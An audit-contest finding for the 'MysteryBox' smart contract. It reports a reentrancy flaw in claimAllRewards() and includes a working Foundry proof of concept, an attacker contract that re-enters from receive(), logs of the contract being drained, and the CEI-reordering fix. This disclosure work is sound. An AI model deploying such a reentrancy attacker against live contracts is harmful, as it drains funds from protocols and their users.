Mystery Box

First Flight #25
Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

Reentrancy attack in `MysteryBox::claimAllRewards()` allows to drain the contract balance

Description:

The MysteryBox::claimAllRewards() function is vulnerable to a reentrancy attack because it doesn't follow the Checks-Effects-Interactions (CEI) pattern. It sends funds to the user before deleting the corresponding rewards from the internal state. This vulnerability allows malicious actors who receive at least one Bronze Coin (or higher rewards) to potentially drain the entire contract balance.

CEI Pattern:

The CEI pattern emphasizes performing checks (e.g., verifying enough rewards exist), executing the desired effect (e.g., sending funds), and then updating the state (e.g., deleting claimed rewards). This ensures the state reflects the actual transaction.

Vulnerable Code:

function claimAllRewards() public {
uint256 totalValue = 0;
for (uint256 i = 0; i < rewardsOwned[msg.sender].length; i++) {
totalValue += rewardsOwned[msg.sender][i].value;
}
require(totalValue > 0, "No rewards to claim");
@> (bool success,) = payable(msg.sender).call{value: totalValue}("");
@> require(success, "Transfer failed");
@> delete rewardsOwned[msg.sender];
}

Impact:

An attacker can exploit this vulnerability to steal all funds collected by the protocol.

Tools Used:

Manual Review, Foundry Forge

Proof of Concept:

The provided test demonstrates how an attacker can drain the contract balance. The ReentrancyAttacker contract exploits the vulnerability by calling claimAllRewards() again within the receive() function if the contract balance is high enough. This triggers a reentrancy and allows the attacker to steal funds before they are removed from the internal state.

function testReentrancy() public {
ReentrancyAttacker reentrancyAttacker = new ReentrancyAttacker(mysteryBox);
vm.deal(address(mysteryBox), 10 ether);
vm.deal(address(reentrancyAttacker), 10 ether);
//MAGIC NUMBER ALERT /1e18 for precision in the log (better than counting 0s to verify i guess?)
console.log("Initial Attacker Balance", address(reentrancyAttacker).balance / 1e18);
console.log("Initial Contract Balance", address(mysteryBox).balance / 1e18);
vm.startPrank(address(reentrancyAttacker));
for (uint256 i = 0; i <= 6; i++) {
//to change the block number, without this obviously the phenomenal
//RANDOM GENERATION lets us buy x times the same mystery box
vm.warp(1641070800 + i);
mysteryBox.buyBox{value: 0.1 ether}();
mysteryBox.openBox();
}
vm.stopPrank();
vm.prank(user1);
reentrancyAttacker.attack();
//MAGIC NUMBER ALERT /1e18 for precision in the log (better than counting 0s to verify i guess?)
console.log("Ending Attacker Balance", address(reentrancyAttacker).balance / 1e18);
console.log("Ending Contract Balance Balance", address(mysteryBox).balance / 1e18);
// GAS LOG 655,152 for a price of (at the moment 14gwei per gas) leaves us
// with 25 USD for this transaction => Reentrancy Feasible
}
contract ReentrancyAttacker {
MysteryBox mysteryBox;
uint256 boxPrice;
uint256 attackerIndex;
constructor(MysteryBox _mysteryBox) {
mysteryBox = _mysteryBox;
boxPrice = mysteryBox.boxPrice();
}
function attack() external payable {
mysteryBox.claimAllRewards();
}
receive() external payable {
if (address(mysteryBox).balance >= 1e18) {
mysteryBox.claimAllRewards();
}
}
}

The following logs are produced by those additions into your test folder:

Ran 1 test for test/TestMysteryBox.t.sol:MysteryBoxTest
[PASS] testReentrancy() (gas: 655152)
Logs:
Reward Pool Length: 4
Initial Attacker Balance 10
Initial Contract Balance 10
Ending Attacker Balance 19
Ending Contract Balance Balance 0
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.19ms (588.60µs CPU time)
Ran 1 test suite in 3.90ms (1.19ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

As it is obviously visible in those logs, the reentrancy was successful and within financially viable limits.

Recommended Mitigation:

  1. Follow the CEI pattern to restructure MysteryBox::claimAllRewards.

function claimAllRewards() public {
uint256 totalValue = 0;
for (uint256 i = 0; i < rewardsOwned[msg.sender].length; i++) {
totalValue += rewardsOwned[msg.sender][i].value;
}
+ delete rewardsOwned[msg.sender];
require(totalValue > 0, "No rewards to claim");
(bool success,) = payable(msg.sender).call{value: totalValue}("");
require(success, "Transfer failed");
- delete rewardsOwned[msg.sender];
}
  1. Consider using a ReentrancyGuard from for example openzeppelin. Visit https://docs.openzeppelin.com/contracts/4.x/api/security as a reference.

Updates

Appeal created

inallhonesty Lead Judge 8 months ago
Submission Judgement Published
Validated
Assigned finding tags:

`claimAllRewards` reentrancy

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.